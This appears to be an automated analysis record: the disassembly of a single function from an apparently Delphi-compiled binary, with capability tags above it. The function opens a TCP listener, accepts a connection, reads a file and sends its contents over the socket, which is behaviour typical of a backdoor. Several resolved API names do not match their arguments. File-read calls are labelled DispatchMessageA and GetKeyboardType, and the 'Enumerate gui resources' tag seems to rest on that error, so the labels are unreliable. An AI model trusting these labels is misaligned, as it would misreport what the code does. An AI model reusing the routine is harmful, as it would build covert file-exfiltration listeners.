Function at 0x40c4c4
Capabilities:
Create tcp socket
Enumerate gui resources
Send data
Send data on socket
Start tcp server

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa7c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040418c
mov eax, dword [ebp - 8]
call fcn.0040418c
xor eax, eax
push ebp
push 0x40c799
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x580]
call fcn.00408b2c
mov eax, dword [ebp - 0x580]
call fcn.0040419c
mov edx, eax
lea eax, [ebp - 0x57c]
call fcn.00403f48
mov edx, dword [ebp - 0x57c]
lea eax, [ebp - 0x1c]
mov ecx, 0x40c7b0
call fcn.00403fe8
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x578]
call fcn.00402b54
mov edx, 1
lea eax, [ebp - 0x578]
call fcn.00403220
call fcn.004025b8
mov eax, dword [ebp - 4]
call fcn.00403f9c
mov ebx, eax
test ebx, ebx
jle 0x40c5b2
mov esi, 1
lea eax, [ebp - 0x584]
push eax
mov ecx, 1
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.004041fc
mov eax, dword [ebp - 0x584]
call fcn.004081fc
mov byte [ebp - 0x15], al
lea edx, [ebp - 0x15]
lea eax, [ebp - 0x578]
call fcn.00403334
call fcn.004025b8
inc esi
dec ebx
jne 0x40c577
lea eax, [ebp - 0x578]
call fcn.00402cc4
call fcn.004025b8
mov word [ebp - 0x2c], 2
mov eax, dword [ebp - 8]
call fcn.00408420
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x2a], ax
xor eax, eax
mov dword [ebp - 0x28], eax
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_bind
inc eax
je 0x40c766
push 1
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_listen
inc eax
jne 0x40c644
xor eax, eax
push ebp
push 0x40c635
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c766
mov dword [ebp - 0xc], 0x10
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_accept
mov edi, eax
xor eax, eax
push ebp
push 0x40c6a4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 0x1c]
call fcn.0040419c
push eax
call fcn.00404cb0
mov esi, eax
push 0
push 0
push 0
push esi
call sub.user32.dll_DispatchMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c6c1
push 0x96
call sub.user32.dll_EnumWindows
push 0
lea eax, [ebp - 0x14]
push eax
push 0x400
lea eax, [ebp - 0x42c]
push eax
push esi
call sub.user32.dll_GetKeyboardType
cmp eax, 1
sbb ebx, ebx
inc ebx
push 0
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x42c]
push eax
push edi
call sub.wsock32.dll_send
test bl, bl
je 0x40c6cb
cmp dword [ebp - 0x14], 0
jne 0x40c6cb
push esi
call fcn.00404ca0
xor eax, eax
push ebp
push 0x40c72a
push dword fs:[eax]
mov dword fs:[eax], esp
push edi
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c734
xor eax, eax
push ebp
push 0x40c755
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c75f
mov byte [0x418210], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c7a0
lea eax, [ebp - 0x584]
mov edx, 3
call fcn.00403e3c
lea eax, [ebp - 0x1c]
call fcn.00403e18
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e3c
ret